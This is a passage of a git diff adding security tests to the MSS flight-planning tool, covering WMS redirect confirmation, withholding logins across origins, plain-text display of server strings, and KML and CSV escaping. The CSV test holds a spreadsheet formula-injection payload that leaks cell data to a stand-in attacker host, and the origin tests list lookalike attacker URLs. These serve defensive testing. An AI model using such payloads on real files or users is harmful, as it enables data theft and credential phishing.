"https://wms.example/wms?")) + warning.assert_called_once() + assert wc.getmap_request_url(getmap_url)[0] in shown_text(warning.call_args.args[2]) + + def test_wms_strings_are_plain_text(self): + # the title of a layer is shown in a label, its abstract as a tooltip + markup = '' + wms = self._wms("https://wms.example/wms", "https://wms.example/wms?") + layerobj = wms.contents["ecmwf_EUR_LL015.PLTemp01"] + layerobj.title = f"Title {markup}" + layerobj.abstract = f"Abstract {markup}\nsecond line" + self.window.activate_wms(wms) + layer = self.window.multilayers.listLayers.topLevelItem(0).child(0) + assert shown_text(layer.toolTip(0)) == f"Abstract {markup}\nsecond line" + assert self.window.lLayerName.textFormat() == QtCore.Qt.PlainText + assert self.window.lLayerName.text() == f"https://wms.example/wms: Title {markup} | ecmwf_EUR_LL015.PLTemp01" + assert shown_text(self.window.lLayerName.toolTip()) == self.window.lLayerName.text() + + def test_wms_error_messages_are_plain_text(self): + error = 'Unauthorized' + with mock.patch("PyQt5.QtWidgets.QMessageBox.critical") as critical: + self.window.display_exception(Exception(error)) + critical.assert_called_once() + assert shown_text(critical.call_args.args[2]) == f"ERROR:\n{Exception}\n{error}" + + @pytest.mark.parametrize("final_url, answer, loaded", [ + # the same server, e.g. another path: no question + ("https://wms.example/maps/wms?service=WMS&request=GetCapabilities", None, True), + # another server, e.g. of a URL shortener or of someone who wants the login: the user decides + ("https://other.example/wms?service=WMS&request=GetCapabilities", QtWidgets.QMessageBox.No, False), + ("https://other.example/wms?service=WMS&request=GetCapabilities", QtWidgets.QMessageBox.Yes, True), + ("http://wms.example/wms?service=WMS&request=GetCapabilities", QtWidgets.QMessageBox.No, False), + ]) + def test_capabilities_redirect_to_another_server_is_confirmed(self, final_url, answer, loaded): + self.window.multilayers.cbWMS_URL.setEditText("https://wms.example/wms") + + def create(function, on_success, on_failure): + on_success(mock.Mock(url=final_url)) + + with mock.patch("mslib.msui.wms_control.Worker.create", side_effect=create), \ + mock.patch.object(self.window, "initialise_wms") as initialise, \ + mock.patch("PyQt5.QtWidgets.QMessageBox.question", return_value=answer) as question: + self.window.get_capabilities() + assert question.called == (answer is not None) + if question.called: + assert "https://wms.example/wms" in shown_text(question.call_args.args[2]) + assert strip_request_params(final_url) in shown_text(question.call_args.args[2]) + assert initialise.called == loaded + if loaded: + assert initialise.call_args.args[0] == strip_request_params(final_url) + + def test_password_dialog_names_the_server(self): + url = 'https://other.example/wms' + dialog = wc.MSS_WMS_AuthenticationDialog(url=url) + assert dialog.lblMessage.textFormat() == QtCore.Qt.PlainText + assert dialog.lblMessage.text() == f"Web Map Service\n{url}" + + def test_getmap_url_warning_uses_the_url_of_the_requests(self): + # the GetMap URL of the capabilities is rewritten for some servers before the maps are requested + wms = self._wms("https://ogcie.iblsoft.com/obs", "https://ogcie/obs?", "user", "secret") + getmap_url = wc.getmap_request_url(wms.get_redirect_url())[0] + assert getmap_url == "https://ogcie.iblsoft.com/obs" + assert wms.getmap_credentials(getmap_url) == ("user", "secret") + assert wc.getmap_url_warning(wms) is None + + def test_withheld_login_is_logged_once(self, monkeypatch, caplog): + monkeypatch.setattr(wc, "_withheld_logins_logged", set()) + wms = self._wms("https://wms.example/wms", "https://other.example/wms?", "user", "secret") + with caplog.at_level(logging.WARNING): + for _ in range(3): + assert wms.getmap_credentials("https://other.example/wms") == (None, None) + assert [record.getMessage() for record in caplog.records].count( + "The login for 'https://wms.example/wms' is not sent with GetMap requests to " + "'https://other.example/wms', another scheme, host or port") == 1 diff --git a/tests/_test_plugins/test_io_csv.py b/tests/_test_plugins/test_io_csv.py index a9f69442d..3a9ba0769 100644 --- a/tests/_test_plugins/test_io_csv.py +++ b/tests/_test_plugins/test_io_csv.py @@ -24,6 +24,7 @@ See the License for the specific language governing permissions and limitations under the License. """ +import csv as std_csv import os import mslib.msui.flighttrack as ft @@ -71,3 +72,35 @@ def test_load_from_csv(): def _example_waypoints(): return [ft.Waypoint(lat=61.168, lon=-149.960, flightlevel=350, location="Anchorage", comments="start"), ft.Waypoint(lat=51.878, lon=-176.646, flightlevel=350, location="Adak", comments="last")] + + +def test_save_to_csv_keeps_formulas_text(tmp_path): + # names and comments are chosen by collaborators; a spreadsheet program must not run them as formulas + texts = ['=HYPERLINK("http://attacker.example/?"&A1,"click")', "+1+1", "-1+1", "@SUM(1)", "\tTab", "\rCR", + "'=already quoted"] + waypoints = [ft.Waypoint(lat=61.168, lon=-149.960, flightlevel=350, location=text, comments=text) + for text in texts] + filename = tmp_path / "formulas.csv" + csv.save_to_csv(str(filename), "=1+1", waypoints) + with open(filename, newline="") as f: + rows = list(std_csv.reader(f, delimiter=";")) + assert rows[0] == ["'=1+1"] + for row, text in zip(rows[2:], texts): + assert row[1] == row[8] == "'" + text + # numbers stay numbers + assert row[3] == "-149.960" + # loading gives the original texts back + _, loaded = csv.load_from_csv(str(filename)) + assert [(wp.location, wp.comments) for wp in loaded] == [(text, text) for text in texts] + + +def test_load_from_csv_keeps_other_quotes(tmp_path): + # only a "'" in front of a formula character is removed + filename = tmp_path / "quotes.csv" + filename.write_text("quotes\n" + "Index;Location;Lat (+-90);Lon (+-180);Flightlevel;Pressure (hPa);Leg dist. (km);" + "Cum. dist. (km);Comments\n" + "0;'Anchorage;61.168;-149.960;350.000;238.416;0.000;0.000;''=x\n" + "1;Adak;51.878;-176.646;350.000;238.416;0.000;0.000;last\n") + _, loaded = csv.load_from_csv(str(filename)) + assert (loaded[0].location, loaded[0].comments) == ("'Anchorage", "'=x") diff --git a/tests/_test_plugins/test_io_kml.py b/tests/_test_plugins/test_io_kml.py index 4f7228ca5..7d860af82 100644 --- a/tests/_test_plugins/test_io_kml.py +++ b/tests/_test_plugins/test_io_kml.py @@ -26,6 +26,8 @@ """ import os +import defusedxml.ElementTree as etree + import mslib.msui.flighttrack as ft from tests.constants import ROOT_DIR from mslib.plugins.io import kml @@ -75,3 +77,31 @@ def test_save_to_kml(): def _example_waypoints(): return [ft.Waypoint(lat=61.168, lon=-149.960, flightlevel=350, location="Anchorage", comments="start"), ft.Waypoint(lat=51.878, lon=-176.646, flightlevel=350, location="Adak", comments="last")] + + +def test_save_to_kml_escapes_names(tmp_path): + # names are chosen by collaborators, they must not add elements, e.g. an HTML balloon, to the KML file + track_name = 'trackopen]]>' + waypoint_name = 'Anchorage & "Adak"' + waypoints = _example_waypoints() + waypoints[0].location = waypoint_name + filename = tmp_path / "escaped.kml" + kml.save_to_kml(str(filename), track_name, waypoints) + namespace = {"kml": "http://www.opengis.net/kml/2.2"} + tree = etree.parse(str(filename)) + assert [element.text for element in tree.iterfind(".//kml:name", namespace)] == [ + track_name, track_name, waypoint_name, "Adak"] + assert [element.text for element in tree.iterfind(".//kml:description", namespace)] == [ + "MSS flight track export"] + + +def test_save_to_kml_drops_characters_xml_does_not_allow(tmp_path): + # a collaborator must not be able to make the KML export of the operation unreadable + waypoints = _example_waypoints() + waypoints[0].location = "A\x0bB\x00C\x1f D\tE" + filename = tmp_path / "control.kml" + kml.save_to_kml(str(filename), "track\x01name", waypoints) + namespace = {"kml": "http://www.opengis.net/kml/2.2"} + tree = etree.parse(str(filename)) + assert [element.text for element in tree.iterfind(".//kml:name", namespace)] == [ + "trackname", "trackname", "ABC D\tE", "Adak"] diff --git a/tests/_test_utils/test_auth.py b/tests/_test_utils/test_auth.py index 170d3a17a..fbdd690e7 100644 --- a/tests/_test_utils/test_auth.py +++ b/tests/_test_utils/test_auth.py @@ -25,6 +25,8 @@ limitations under the License. """ +import pytest + from tests.utils import create_msui_settings_file from mslib.utils import auth from mslib.utils.config import read_config_file, config_loader @@ -89,3 +91,24 @@ def test_get_auth_from_url_and_name(): # check storage of MSCOLAB password auth.save_password_to_keyring('MSCOLAB', auth_username, "password") assert auth.get_password_from_keyring("MSCOLAB", auth_username) == 'password' + + +@pytest.mark.parametrize("url, base_url, expected", [ + ("https://wms.example/maps?", "https://wms.example/wms", True), + ("https://WMS.example:443/", "HTTPS://wms.example/wms", True), + ("http://wms.example:80/", "http://wms.example", True), + ("http://wms.example/", "https://wms.example/", False), + ("https://wms.example/", "http://wms.example/", False), + ("https://other.example/", "https://wms.example/", False), + ("https://wms.example.attacker.example/", "https://wms.example/", False), + ("https://wms.example:8443/", "https://wms.example/", False), + ("https://wms.example@attacker.example/", "https://wms.example/", False), + ("https://wms.example:99999/", "https://wms.example/", False), + ("/relative/path", "https://wms.example/", False), + ("", "", False), + (None, "https://wms.example/", False), + ("https://wms.example/", None, False), + (None, None, False), +]) +def test_same_origin(url, base_url, expected): + assert auth.same_origin(url, base_url) is expected diff --git a/tests/_test_utils/test_qt.py b/tests/_test_utils/test_qt.py index 5af1f6ee4..30904d425 100644 --- a/tests/_test_utils/test_qt.py +++ b/tests/_test_utils/test_qt.py @@ -25,8 +25,12 @@ limitations under the License. """ +import ast +from pathlib import Path + import pytest import mock +import mslib import mslib.utils.qt as mqt import PyQt5 as pqt from mslib.utils.config import config_loader @@ -157,3 +161,97 @@ def test_save_filename(): with mock.patch("mslib.utils.qt.get_save_filename_qt", return_value=""): _filename = mqt.get_save_filename(None, "", "", "", pickertype="qt") assert _filename is None + + +@pytest.mark.parametrize("text", [ + '', + 'Temperature bold & link', + 'first line\n on the second line', + "T<300K> mean", + "plain text", + "", +]) +def test_plain_text_as_html(qtbot, text): + shown = mqt.plain_text_as_html(text) + # tooltips and message boxes decide with Qt.mightBeRichText how they show it + if pqt.QtCore.Qt.mightBeRichText(shown): + # rich text that shows the text itself, markup included + document = pqt.QtGui.QTextDocument() + document.setHtml(shown) + assert document.toPlainText() == text + # no image or link is in the rendered document + assert "text", + pqt.QtWidgets.QMessageBox.Ok, None) + assert box.textFormat() == pqt.QtCore.Qt.PlainText + assert box.text() == "text" + + +# Texts of message boxes and tooltips that are not constants can come from a server or another user. Every one +# goes through plain_text_as_html (or show_popup or plain_text_message_box), see mslib/msui/CLAUDE.md. +# Exceptions build their HTML on purpose and escape every value in it. +RICH_TEXT_BUILT_ON_PURPOSE = {("mslib/msui/mscolab.py", "view_description")} +MESSAGE_BOX_FUNCTIONS = ("critical", "warning", "information", "question", "about") + + +def _is_constant_text(node): + if isinstance(node, ast.Constant): + return True + if isinstance(node, ast.Call): + function = ast.unparse(node.func) + if function.endswith("plain_text_as_html"): + return True + # self.tr("...") of a constant + if function.endswith(".tr") and all(isinstance(arg, ast.Constant) for arg in node.args): + return True + return False + + +def _texts_not_shown_as_plain_text(): + root = Path(mslib.__file__).parent.parent + found = [] + for path in sorted((root / "mslib").rglob("*.py")): + relative = path.relative_to(root) + # the generated Qt UI files and the server packages, which show no Qt widgets + if "qt5" in relative.parts or relative.parts[1] in ("mscolab", "mswms", "msidp"): + continue + tree = ast.parse(path.read_text(encoding="utf-8")) + function_of = {} + for function in ast.walk(tree): + if isinstance(function, (ast.FunctionDef, ast.AsyncFunctionDef)): + for node in ast.walk(function): + function_of.setdefault(id(node), function.name) + for node in ast.walk(tree): + if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)): + continue + if (node.func.attr in MESSAGE_BOX_FUNCTIONS and "QMessageBox" in ast.unparse(node.func.value) + and len(node.args) >= 3): + text = node.args[2] + elif node.func.attr == "setToolTip" and node.args: + text = node.args[-1] + else: + continue + place = (relative.as_posix(), function_of.get(id(node))) + if not _is_constant_text(text) and place not in RICH_TEXT_BUILT_ON_PURPOSE: + found.append(f"{relative.as_posix()}:{node.lineno}: {ast.unparse(text)[:80]}") + return found + + +def test_message_box_and_tooltip_texts_are_shown_as_plain_text(): + assert _texts_not_shown_as_plain_text() == [] diff --git a/tests/utils.py b/tests/utils.py index 51ddccb88..5d0f1456c 100644 --- a/tests/utils.py +++ b/tests/utils.py @@ -253,3 +253,19 @@ def __init__(self, exc): def raise_exc(self, *args, **kwargs): raise self.exc + + +def shown_text(text): + """ + The text a tooltip or a message box shows for text; it must not load any image or link + + Like Qt, text is shown as rich text only if Qt.mightBeRichText says so, which looks for a tag before the + first line break. + """ + from PyQt5 import QtCore, QtGui + if not QtCore.Qt.mightBeRichText(text): + return text + document = QtGui.QTextDocument() + document.setHtml(text) + assert "